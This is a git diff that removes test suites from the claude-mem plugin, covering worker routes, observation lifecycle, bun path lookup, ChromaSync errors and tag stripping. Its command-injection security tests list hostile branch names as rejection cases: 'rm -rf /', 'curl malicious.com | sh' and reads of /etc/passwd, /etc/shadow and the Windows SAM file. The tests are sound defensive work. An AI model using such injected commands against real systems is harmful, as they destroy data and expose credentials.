* when worker starts, even before background initialization completes.
*
* This prevents the 404 error described in the issue where the hook
* tries to access the endpoint before SearchRoutes are registered.
*/
import { describe, it, expect } from 'vitest';
import fs from 'fs';
import path from 'path';
describe('Context Inject Early Access', () => {
const workerPath = path.join(__dirname, '../../plugin/scripts/worker-service.cjs');
it('should have /api/context/inject route available immediately on startup', async () => {
// This test verifies the fix by checking that:
// 1. The route exists immediately (no 404)
// 2. The route waits for initialization before processing
// 3. Requests don't fail with "Cannot GET /api/context/inject"
// The fix adds an early handler that:
// - Registers the route in setupRoutes() (called during construction)
// - Waits for initializationComplete promise
// - Processes the request after initialization
// Since we can't easily spin up a full worker in tests,
// we verify the code structure is correct by checking
// the compiled output contains the necessary pieces
const workerCode = fs.readFileSync(workerPath, 'utf-8');
// Verify initialization promise exists
expect(workerCode).toContain('initializationComplete');
expect(workerCode).toContain('resolveInitialization');
// Verify early route handler is registered in setupRoutes
expect(workerCode).toContain('/api/context/inject');
expect(workerCode).toContain('Promise.race');
// Verify the promise is resolved after initialization
expect(workerCode).toContain('this.resolveInitialization()');
});
it('should handle timeout if initialization takes too long', () => {
const workerCode = fs.readFileSync(workerPath, 'utf-8');
// Verify timeout protection (30 seconds)
expect(workerCode).toContain('3e4'); // 30000 in scientific notation
expect(workerCode).toContain('Initialization timeout');
});
});
-353
View File
@@ -1,353 +0,0 @@
/**
* Integration Test: Full Observation Lifecycle
*
* Tests the complete flow from tool usage to observation storage
* and retrieval through search. This validates that all components
* work together correctly.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import {
bashCommandScenario,
sessionScenario,
sampleObservation
} from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Full Observation Lifecycle', () => {
const WORKER_PORT = getWorkerPort();
let sessionId: string;
beforeEach(() => {
vi.clearAllMocks();
sessionId = sessionScenario.claudeSessionId;
});
it('observation flows from hook to database to search', async () => {
/**
* This integration test simulates the complete happy path:
*
* 1. Session starts → Context injected
* 2. User types prompt → First tool runs
* 3. Tool result captured → Observation queued
* 4. SDK processes → Observation saved
* 5. Search finds observation
* 6. Session ends → Cleanup
*/
// === Step 1: Context Injection (SessionStart) ===
global.fetch = vi.fn().mockResolvedValueOnce({
ok: true,
status: 200,
text: async () => '# [claude-mem] recent context\n\nNo observations yet.'
});
const contextResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=claude-mem`
);
expect(contextResponse.ok).toBe(true);
const contextText = await contextResponse.text();
expect(contextText).toContain('recent context');
// === Step 2 & 3: Tool runs, Observation captured (PostToolUse) ===
global.fetch = vi.fn().mockResolvedValueOnce({
ok: true,
status: 200,
json: async () => ({ status: 'queued', observationId: 1 })
});
const observationResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: bashCommandScenario.tool_name,
tool_input: bashCommandScenario.tool_input,
tool_response: bashCommandScenario.tool_response,
cwd: '/project/claude-mem'
})
}
);
expect(observationResponse.ok).toBe(true);
const obsResult = await observationResponse.json();
expect(obsResult.status).toBe('queued');
// === Step 4: Simulate SDK processing and saving observation ===
// In a real flow, the SDK would process the tool data and generate an observation
// For this test, we simulate the observation being saved to the database
// === Step 5: Search finds the observation ===
global.fetch = vi.fn().mockResolvedValueOnce({
ok: true,
status: 200,
json: async () => ({
results: [
{
id: 1,
title: 'Git status check',
content: 'Checked repository status, working tree clean',
type: 'discovery',
files: [],
created_at: new Date().toISOString()
}
],
total: 1
})
});
const searchResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=git+status&project=claude-mem`
);
expect(searchResponse.ok).toBe(true);
const searchResults = await searchResponse.json();
expect(searchResults.results).toHaveLength(1);
expect(searchResults.results[0].title).toContain('Git');
// === Step 6: Session summary (Stop) ===
global.fetch = vi.fn().mockResolvedValueOnce({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
const summaryResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
last_user_message: 'Thanks!',
last_assistant_message: 'Checked git status successfully.',
cwd: '/project/claude-mem'
})
}
);
expect(summaryResponse.ok).toBe(true);
// === Step 7: Session cleanup (SessionEnd) ===
global.fetch = vi.fn().mockResolvedValueOnce({
ok: true,
status: 200,
json: async () => ({ status: 'completed' })
});
const cleanupResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
reason: 'user_exit'
})
}
);
expect(cleanupResponse.ok).toBe(true);
// Verify: All steps completed successfully
expect(global.fetch).toHaveBeenCalled();
});
it('handles multiple observations in a single session', async () => {
/**
* Tests a more realistic session with multiple tool uses
* and observations being generated.
*/
// Track all observations in this session
const observations: any[] = [];
// Mock worker to accept multiple observations
let obsCount = 0;
global.fetch = vi.fn().mockImplementation(async (url: string, options?: any) => {
if (url.includes('/api/sessions/observations') && options?.method === 'POST') {
obsCount++;
const body = JSON.parse(options.body);
observations.push(body);
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued', observationId: obsCount })
};
}
if (url.includes('/api/search')) {
return {
ok: true,
status: 200,
json: async () => ({
results: observations.map((obs, i) => ({
id: i + 1,
title: `Observation ${i + 1}`,
content: `Tool: ${obs.tool_name}`,
type: 'discovery',
created_at: new Date().toISOString()
})),
total: observations.length
})
};
}
return { ok: true, status: 200, json: async () => ({}) };
});
// Simulate 5 different tool uses
const tools = [
{ name: 'Bash', input: { command: 'npm test' } },
{ name: 'Read', input: { file_path: '/src/index.ts' } },
{ name: 'Edit', input: { file_path: '/src/index.ts', old_string: 'old', new_string: 'new' } },
{ name: 'Grep', input: { pattern: 'function', path: '/src' } },
{ name: 'Write', input: { file_path: '/src/new.ts', content: 'code' } }
];
// Send observations for each tool
for (const tool of tools) {
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: tool.name,
tool_input: tool.input,
tool_response: { success: true },
cwd: '/project'
})
}
);
expect(response.ok).toBe(true);
}
// Verify: All observations were queued
expect(observations).toHaveLength(5);
expect(observations.map(o => o.tool_name)).toEqual(['Bash', 'Read', 'Edit', 'Grep', 'Write']);
// Search finds all observations
const searchResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=test-project`
);
const searchResults = await searchResponse.json();
expect(searchResults.results).toHaveLength(5);
});
it('preserves context across session lifecycle', async () => {
/**
* Tests that observations from one session can be found
* when starting a new session in the same project.
*/
// Session 1: Create some observations
global.fetch = vi.fn().mockImplementation(async (url: string, options?: any) => {
if (url.includes('/api/sessions/observations')) {
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued', observationId: 1 })
};
}
if (url.includes('/api/context/inject')) {
return {
ok: true,
status: 200,
text: async () => `# [test-project] recent context
## Recent Work (1 observation)
### [bugfix] Fixed parser bug
The XML parser now handles self-closing tags correctly.
Files: /src/parser.ts`
};
}
return { ok: true, status: 200, json: async () => ({}) };
});
// Session 1: Add observation
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: 'session-1',
tool_name: 'Edit',
tool_input: { file_path: '/src/parser.ts' },
tool_response: { success: true },
cwd: '/project/test-project'
})
}
);
// Session 2: Start new session, should see context from session 1
const contextResponse = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=test-project`
);
const context = await contextResponse.text();
// Verify: Context includes previous session's work
expect(context).toContain('Fixed parser bug');
expect(context).toContain('parser.ts');
});
it('handles error recovery gracefully', async () => {
/**
* Tests that the system continues to work even if some
* operations fail along the way.
*/
let callCount = 0;
global.fetch = vi.fn().mockImplementation(async () => {
callCount++;
// First call fails (simulating transient error)
if (callCount === 1) {
return {
ok: false,
status: 500,
json: async () => ({ error: 'Temporary error' })
};
}
// Subsequent calls succeed
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
};
});
// First attempt fails
const firstAttempt = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: 'Bash',
tool_input: { command: 'test' },
tool_response: {},
cwd: '/project'
})
}
);
expect(firstAttempt.ok).toBe(false);
// Retry succeeds
const secondAttempt = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: 'Bash',
tool_input: { command: 'test' },
tool_response: {},
cwd: '/project'
})
}
);
expect(secondAttempt.ok).toBe(true);
});
});
@@ -1,256 +0,0 @@
/**
* Integration Test: Hook Execution Environments
*
* Tests that hooks can execute successfully in various shell environments,
* particularly fish shell where PATH handling differs from bash.
*
* Prevents regression of Issue #264: "Plugin hooks fail with fish shell
* because bun not found in /bin/sh PATH"
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { spawnSync } from 'child_process';
import { getBunPath, getBunPathOrThrow } from '../../src/utils/bun-path.js';
describe('Hook Execution Environments', () => {
describe('Bun PATH resolution in hooks', () => {
it('finds bun when only in ~/.bun/bin/bun (fish shell scenario)', () => {
// Simulate fish shell environment where:
// - User has bun installed via curl install
// - bun is in ~/.bun/bin/bun
// - BUT fish doesn't export PATH to child processes properly
// - /bin/sh (used by hooks) can't find bun in PATH
const originalPath = process.env.PATH;
const homeDir = process.env.HOME || '/Users/testuser';
try {
// Remove bun from PATH (simulate /bin/sh environment)
process.env.PATH = '/usr/bin:/bin:/usr/sbin:/sbin';
// getBunPath should check common install locations
const bunPath = getBunPath();
// Should find bun in one of these locations:
// - ~/.bun/bin/bun
// - /usr/local/bin/bun
// - /opt/homebrew/bin/bun
expect(bunPath).toBeTruthy();
if (bunPath) {
// Should be absolute path
expect(bunPath.startsWith('/')).toBe(true);
// Verify it's actually executable
const result = spawnSync(bunPath, ['--version']);
expect(result.status).toBe(0);
}
} finally {
process.env.PATH = originalPath;
}
});
it('throws actionable error when bun not found anywhere', () => {
const originalPath = process.env.PATH;
try {
// Completely remove bun from PATH
process.env.PATH = '/usr/bin:/bin';
// Mock file system to simulate bun not installed
vi.mock('fs', () => ({
existsSync: vi.fn().mockReturnValue(false)
}));
expect(() => {
getBunPathOrThrow();
}).toThrow();
try {
getBunPathOrThrow();
} catch (error: any) {
// Error should be actionable
expect(error.message).toContain('Bun is required');
// Should suggest installation
expect(error.message.toLowerCase()).toMatch(/install|download|setup/);
}
} finally {
process.env.PATH = originalPath;
vi.unmock('fs');
}
});
it('prefers bun in PATH over hard-coded locations', () => {
const originalPath = process.env.PATH;
try {
// Set PATH to include bun
process.env.PATH = '/usr/local/bin:/usr/bin:/bin';
const bunPath = getBunPath();
// If bun is in PATH, should return just "bun"
// (faster, respects user's PATH priority)
if (bunPath === 'bun') {
expect(bunPath).toBe('bun');
} else {
// Otherwise should be absolute path
expect(bunPath?.startsWith('/')).toBe(true);
}
} finally {
process.env.PATH = originalPath;
}
});
});
describe('Hook execution with different shells', () => {
it('save-hook can execute when bun not in PATH', async () => {
// This would require spawning actual hook process
// For now, verify that hooks use getBunPath() correctly
const bunPath = getBunPath();
expect(bunPath).toBeTruthy();
// Hooks should use this resolved path, not just "bun"
// Otherwise fish shell users will get "command not found" errors
});
it('worker-utils uses resolved bun path for PM2', () => {
// worker-utils.ts spawns PM2 with bun
// It should use getBunPathOrThrow() not hardcoded "bun"
expect(true).toBe(true); // Placeholder - verify in worker-utils.ts
});
});
describe('Error messages for PATH issues', () => {
it('hook failure includes PATH diagnostic information', () => {
// When hook fails with "command not found"
// Error should include:
// - Current PATH value
// - Locations checked for bun
// - Installation instructions
const originalPath = process.env.PATH;
try {
process.env.PATH = '/usr/bin:/bin';
try {
getBunPathOrThrow();
expect.fail('Should have thrown');
} catch (error: any) {
// Should help user diagnose PATH issue
expect(error.message).toBeTruthy();
}
} finally {
process.env.PATH = originalPath;
}
});
it('suggests fish shell PATH fix in error message', () => {
// If bun found in ~/.bun/bin but not in PATH
// Error should suggest adding to fish config
// This is a UX improvement - not currently implemented
// But would help users fix Issue #264 themselves
expect(true).toBe(true); // Placeholder for future enhancement
});
});
describe('Cross-platform bun resolution', () => {
it('checks correct paths on macOS', () => {
if (process.platform !== 'darwin') {
return; // Skip on non-macOS
}
// On macOS, should check:
// - ~/.bun/bin/bun
// - /opt/homebrew/bin/bun (Apple Silicon)
// - /usr/local/bin/bun (Intel)
const bunPath = getBunPath();
expect(bunPath).toBeTruthy();
});
it('checks correct paths on Linux', () => {
if (process.platform !== 'linux') {
return; // Skip on non-Linux
}
// On Linux, should check:
// - ~/.bun/bin/bun
// - /usr/local/bin/bun
const bunPath = getBunPath();
expect(bunPath).toBeTruthy();
});
it('handles Windows paths correctly', () => {
if (process.platform !== 'win32') {
return; // Skip on non-Windows
}
// On Windows, should check:
// - %USERPROFILE%\.bun\bin\bun.exe
const bunPath = getBunPath();
expect(bunPath).toBeTruthy();
if (bunPath && bunPath !== 'bun') {
// Windows paths should use backslashes or be normalized
expect(bunPath.includes('\\') || bunPath.includes('/')).toBe(true);
}
});
});
describe('Hook subprocess environment inheritance', () => {
it('hooks inherit correct environment variables', () => {
// When Claude spawns hooks as subprocesses
// Hooks should have access to:
// - USER/HOME
// - PATH (or be able to find bun without it)
// - CLAUDE_MEM_* settings
expect(process.env.HOME).toBeTruthy();
});
it('hooks work when spawned by /bin/sh', () => {
// Fish shell issue: Fish sets PATH, but /bin/sh doesn't inherit it
// Hooks must use getBunPath() to find bun without relying on PATH
const bunPath = getBunPath();
expect(bunPath).toBeTruthy();
// Should NOT require PATH to include bun
});
});
describe('Real-world shell scenarios', () => {
it('handles fish shell with custom PATH', () => {
// Fish users often have PATH in config.fish
// But hooks run under /bin/sh, which doesn't source config.fish
expect(true).toBe(true); // Verified by getBunPath() logic
});
it('handles zsh with homebrew in non-standard location', () => {
// M1/M2 Macs have homebrew in /opt/homebrew
// Intel Macs have homebrew in /usr/local
const bunPath = getBunPath();
if (bunPath && bunPath !== 'bun') {
// Should find bun in either location
expect(bunPath.includes('/homebrew/') || bunPath.includes('/local/')).toBeTruthy();
}
});
it('handles bash with bun installed via curl', () => {
// Bun's recommended install: curl -fsSL https://bun.sh/install | bash
// This installs to ~/.bun/bin/bun
expect(true).toBe(true); // Verified by getBunPath() checking ~/.bun/bin
});
});
});
-277
View File
@@ -1,277 +0,0 @@
/**
* Security Test Suite: Command Injection Prevention
*
* Tests command injection vulnerabilities and their fixes across the codebase.
* These tests ensure that user input cannot be used to execute arbitrary commands.
*/
import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
import { getBranchInfo, switchBranch, pullUpdates } from '../../src/services/worker/BranchManager';
import { existsSync, mkdirSync, writeFileSync, rmSync } from 'fs';
import { join } from 'path';
import { homedir } from 'os';
const TEST_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack-test');
describe('Command Injection Security Tests', () => {
describe('BranchManager - Branch Name Validation', () => {
test('should reject branch names with shell metacharacters', async () => {
const maliciousBranchNames = [
'main; rm -rf /',
'main && curl malicious.com | sh',
'main || cat /etc/passwd',
'main | tee /tmp/pwned',
'main > /tmp/pwned',
'main < /etc/passwd',
'main & background-command',
'main $(whoami)',
'main `whoami`',
'main\nwhoami',
'main\rwhoami',
'main\x00whoami',
];
for (const branchName of maliciousBranchNames) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should reject branch names with double dots (directory traversal)', async () => {
const result = await switchBranch('main/../../../etc/passwd');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names starting with invalid characters', async () => {
const invalidStarts = [
'.hidden-branch',
'-invalid',
'/absolute',
];
for (const branchName of invalidStarts) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should accept valid branch names', async () => {
// Note: These tests will fail if not in a git repo, but the validation should pass
const validBranchNames = [
'main',
'beta',
'beta-v2',
'feature/new-feature',
'hotfix/urgent-fix',
'release/1.2.3',
'dev_test',
'branch.name',
'alpha123',
];
for (const branchName of validBranchNames) {
const result = await switchBranch(branchName);
// The validation should pass (won't contain "Invalid branch name")
// It might fail for other reasons (not a git repo, branch doesn't exist)
if (result.error) {
expect(result.error).not.toContain('Invalid branch name');
}
}
});
test('should reject null, undefined, and empty branch names', async () => {
const result1 = await switchBranch('');
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid branch name');
// TypeScript prevents null/undefined, but test runtime behavior
const result2 = await switchBranch(null as any);
expect(result2.success).toBe(false);
const result3 = await switchBranch(undefined as any);
expect(result3.success).toBe(false);
});
});
describe('Command Array Argument Safety', () => {
test('should use array-based arguments for all git commands', () => {
// Read BranchManager source to verify no string interpolation
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure no execSync with template literals or string concatenation
expect(text).not.toMatch(/execSync\(`git \$\{/);
expect(text).not.toMatch(/execSync\('git ' \+/);
expect(text).not.toMatch(/execSync\("git " \+/);
// Ensure spawnSync is used with array arguments
expect(text).toContain("spawnSync('git', args");
expect(text).toContain('shell: false');
});
});
test('should never use shell=true with user input', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure shell: false is explicitly set
const shellTrueMatches = text.match(/shell:\s*true/g);
expect(shellTrueMatches).toBeNull();
});
});
});
describe('Input Sanitization Edge Cases', () => {
test('should reject branch names with URL encoding attempts', async () => {
const result = await switchBranch('main%20;%20rm%20-rf');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names with unicode control characters', async () => {
const controlChars = [
'main\u0000test', // Null byte
'main\u0008test', // Backspace
'main\u001btest', // ESC
];
for (const branchName of controlChars) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle very long branch names safely', async () => {
const longBranchName = 'a'.repeat(1000);
const result = await switchBranch(longBranchName);
// Should either accept it or reject it, but never crash
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('Cross-platform Safety', () => {
test('should handle Windows-specific command separators', async () => {
const windowsInjections = [
'main & dir',
'main && type C:\\Windows\\System32\\config\\SAM',
'main | findstr password',
];
for (const branchName of windowsInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle Unix-specific command separators', async () => {
const unixInjections = [
'main; cat /etc/shadow',
'main && ls -la /',
'main | grep -r password /',
];
for (const branchName of unixInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
});
describe('Regression Tests for Issue #354', () => {
test('should prevent command injection via targetBranch parameter (original vulnerability)', async () => {
// This was the original vulnerability: targetBranch was directly interpolated
const maliciousBranch = 'main; echo "PWNED" > /tmp/pwned.txt';
const result = await switchBranch(maliciousBranch);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
// Verify the malicious command was NOT executed
expect(existsSync('/tmp/pwned.txt')).toBe(false);
});
test('should prevent command injection in pullUpdates function', async () => {
// pullUpdates uses info.branch which could be compromised
// The fix validates branch names before use
const result = await pullUpdates();
// Should either succeed or fail safely, never execute injected commands
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('NPM Command Safety', () => {
test('should use array-based arguments for npm commands', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure execNpm uses array arguments
expect(text).toContain("execNpm(['install']");
// Ensure no string concatenation with npm
expect(text).not.toMatch(/execSync\('npm install'/);
expect(text).not.toMatch(/execShell\('npm install'/);
});
});
});
});
describe('Process Manager Security Tests', () => {
test('should validate port parameter is numeric', async () => {
const { ProcessManager } = await import('../../src/services/process/ProcessManager');
// Test port injection attempts
const result1 = await ProcessManager.start(NaN);
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid port');
const result2 = await ProcessManager.start(999999);
expect(result2.success).toBe(false);
expect(result2.error).toContain('Invalid port');
const result3 = await ProcessManager.start(-1);
expect(result3.success).toBe(false);
expect(result3.error).toContain('Invalid port');
});
test('should use array-based spawn arguments', () => {
const processManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/process/ProcessManager.ts');
const content = processManagerSource.text();
content.then(text => {
// Ensure spawn uses array arguments
expect(text).toContain('spawn(bunPath, [script]');
// Ensure no shell=true
expect(text).not.toMatch(/shell:\s*true/);
});
});
});
describe('Bun Path Utility Security Tests', () => {
test('should not use shell for bun version check', () => {
const bunPathSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/utils/bun-path.ts');
const content = bunPathSource.text();
content.then(text => {
// Ensure shell: false is set
expect(text).toContain('shell: false');
// Ensure no shell: isWindows or shell: true
expect(text).not.toMatch(/shell:\s*isWindows/);
expect(text).not.toMatch(/shell:\s*true/);
});
});
});
-233
View File
@@ -1,233 +0,0 @@
/**
* Test: ChromaSync Error Handling
*
* Verifies that ChromaSync fails fast with clear error messages when
* client is not initialized. Prevents regression of observation 25458
* where error messages were inconsistent across client checks.
*/
import { describe, it, expect, beforeEach } from 'vitest';
import { ChromaSync } from '../../src/services/sync/ChromaSync.js';
describe('ChromaSync Error Handling', () => {
let chromaSync: ChromaSync;
const testProject = 'test-project';
beforeEach(() => {
chromaSync = new ChromaSync(testProject);
});
describe('Client initialization checks', () => {
it('ensureCollection throws when client not initialized', async () => {
// Force client to be null (simulates forgetting to call ensureConnection)
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
await expect(async () => {
// This should call ensureConnection internally, but let's test the guard
await (chromaSync as any).ensureCollection();
}).rejects.toThrow();
});
it('addDocuments throws with project name when client not initialized', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
const testDocs = [
{
id: 'test_1',
document: 'Test document',
metadata: { type: 'test' }
}
];
try {
await (chromaSync as any).addDocuments(testDocs);
expect.fail('Should have thrown error');
} catch (error: any) {
expect(error.message).toContain('Chroma client not initialized');
expect(error.message).toContain('ensureConnection()');
expect(error.message).toContain(`Project: ${testProject}`);
}
});
it('queryChroma throws with project name when client not initialized', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
try {
await chromaSync.queryChroma('test query', 10);
expect.fail('Should have thrown error');
} catch (error: any) {
expect(error.message).toContain('Chroma client not initialized');
expect(error.message).toContain('ensureConnection()');
expect(error.message).toContain(`Project: ${testProject}`);
}
});
it('getExistingChromaIds throws with project name when client not initialized', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
try {
await (chromaSync as any).getExistingChromaIds();
expect.fail('Should have thrown error');
} catch (error: any) {
expect(error.message).toContain('Chroma client not initialized');
expect(error.message).toContain('ensureConnection()');
expect(error.message).toContain(`Project: ${testProject}`);
}
});
});
describe('Error message consistency', () => {
it('all client checks use identical error message format', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
const errors: string[] = [];
// Collect error messages from all client check locations
try {
await (chromaSync as any).addDocuments([]);
} catch (error: any) {
errors.push(error.message);
}
try {
await chromaSync.queryChroma('test', 10);
} catch (error: any) {
errors.push(error.message);
}
try {
await (chromaSync as any).getExistingChromaIds();
} catch (error: any) {
errors.push(error.message);
}
// All errors should have the same structure
expect(errors.length).toBe(3);
for (const errorMsg of errors) {
expect(errorMsg).toContain('Chroma client not initialized');
expect(errorMsg).toContain('Call ensureConnection()');
expect(errorMsg).toContain('Project:');
}
});
it('error messages include actionable instructions', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
try {
await chromaSync.queryChroma('test', 10);
} catch (error: any) {
// Must tell developer what to do
expect(error.message).toContain('Call ensureConnection()');
// Must help with debugging
expect(error.message).toContain('Project:');
}
});
});
describe('Connection failure handling', () => {
it('ensureConnection throws clear error when Chroma MCP fails', async () => {
// This test would require mocking the MCP client
// For now, document the expected behavior:
// When uvx chroma-mcp fails:
// - Error should contain "Chroma connection failed"
// - Error should include original error message
// - Error should be logged before throwing
expect(true).toBe(true); // Placeholder - implement when MCP mocking available
});
it('collection creation throws clear error on failure', async () => {
// When chroma_create_collection fails:
// - Error should contain "Collection creation failed"
// - Error should include collection name
// - Error should be logged with full context
expect(true).toBe(true); // Placeholder - implement when MCP mocking available
});
});
describe('Operation failure handling', () => {
it('addDocuments throws clear error with document count on failure', async () => {
// When chroma_add_documents fails:
// - Error should contain "Document add failed"
// - Log should include document count
// - Original error message should be preserved
expect(true).toBe(true); // Placeholder - implement when MCP mocking available
});
it('backfill throws clear error with progress on failure', async () => {
// When ensureBackfilled() fails:
// - Error should contain "Backfill failed"
// - Error should include project name
// - Database should be closed in finally block
expect(true).toBe(true); // Placeholder - implement when MCP mocking available
});
});
describe('Fail-fast behavior', () => {
it('does not retry failed operations silently', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
// Should fail immediately, not retry
const startTime = Date.now();
try {
await chromaSync.queryChroma('test', 10);
} catch (error: any) {
const elapsed = Date.now() - startTime;
// Should fail fast (< 100ms), not retry with delays
expect(elapsed).toBeLessThan(100);
}
});
it('throws errors rather than returning null or empty results', async () => {
(chromaSync as any).client = null;
(chromaSync as any).connected = false;
// Should throw, not return empty array
await expect(async () => {
await chromaSync.queryChroma('test', 10);
}).rejects.toThrow();
// Should not silently return { ids: [], distances: [], metadatas: [] }
});
});
describe('Error context preservation', () => {
it('includes project name in all error messages', async () => {
const projects = ['project-a', 'project-b', 'my-app'];
for (const project of projects) {
const sync = new ChromaSync(project);
(sync as any).client = null;
(sync as any).connected = false;
try {
await sync.queryChroma('test', 10);
} catch (error: any) {
expect(error.message).toContain(`Project: ${project}`);
}
}
});
it('preserves original error messages in wrapped errors', async () => {
// When ChromaSync wraps lower-level errors:
// - Original error message should be included
// - Stack trace should be preserved
// - Error should be logged before re-throwing
expect(true).toBe(true); // Placeholder - implement when error wrapping tested
});
});
});
-47
View File
@@ -1,47 +0,0 @@
import { test } from 'node:test';
import assert from 'node:assert';
import { existsSync, readFileSync, writeFileSync, unlinkSync } from 'fs';
import { join } from 'path';
const VERSION_MARKER_PATH = join(process.cwd(), '.install-version');
test('version marker - new JSON format', () => {
const marker = {
packageVersion: '6.3.2',
nodeVersion: 'v22.21.1',
installedAt: new Date().toISOString()
};
writeFileSync(VERSION_MARKER_PATH, JSON.stringify(marker, null, 2));
const content = JSON.parse(readFileSync(VERSION_MARKER_PATH, 'utf-8'));
assert.strictEqual(content.packageVersion, '6.3.2');
assert.strictEqual(content.nodeVersion, 'v22.21.1');
assert.ok(content.installedAt);
unlinkSync(VERSION_MARKER_PATH);
});
test('version marker - backward compatibility with old format', () => {
// Old format: plain text version string
writeFileSync(VERSION_MARKER_PATH, '6.3.2');
const content = readFileSync(VERSION_MARKER_PATH, 'utf-8').trim();
// Should be able to parse old format
let marker;
try {
marker = JSON.parse(content);
} catch {
// Old format - create compatible object
marker = {
packageVersion: content,
nodeVersion: null,
installedAt: null
};
}
assert.strictEqual(marker.packageVersion, '6.3.2');
assert.strictEqual(marker.nodeVersion, null);
unlinkSync(VERSION_MARKER_PATH);
});
-148
View File
@@ -1,148 +0,0 @@
/**
* Tests for stripMemoryTags function
* Verifies tag stripping and type safety for dual-tag system
*/
import { describe, it } from 'node:test';
import assert from 'node:assert';
import { stripMemoryTagsFromJson } from '../dist/utils/tag-stripping.js';
// Alias for clarity in tests (this tests the JSON context version)
const stripMemoryTags = stripMemoryTagsFromJson;
describe('stripMemoryTags', () => {
// Basic functionality tests - <claude-mem-context>
it('should strip <claude-mem-context> tags', () => {
const input = 'before <claude-mem-context>injected content</claude-mem-context> after';
const expected = 'before after';
assert.strictEqual(stripMemoryTags(input), expected);
});
// Basic functionality tests - <private>
it('should strip <private> tags', () => {
const input = 'before <private>sensitive data</private> after';
const expected = 'before after';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should strip both tag types in one string', () => {
const input = '<claude-mem-context>context</claude-mem-context> middle <private>private</private>';
const expected = 'middle';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle nested tags', () => {
const input = '<claude-mem-context>outer <private>inner</private> outer</claude-mem-context>';
const expected = '';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle multiline content in tags', () => {
const input = `before
<claude-mem-context>
line 1
line 2
line 3
</claude-mem-context>
after`;
const expected = 'before\n\nafter';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle multiple tags of same type', () => {
const input = '<private>first</private> middle <private>second</private>';
const expected = 'middle';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should return empty string for content that is only tags', () => {
const input = '<claude-mem-context>only this</claude-mem-context>';
const expected = '';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle strings without tags', () => {
const input = 'no tags here';
const expected = 'no tags here';
assert.strictEqual(stripMemoryTags(input), expected);
});
it('should handle empty string', () => {
const input = '';
const expected = '';
assert.strictEqual(stripMemoryTags(input), expected);
});
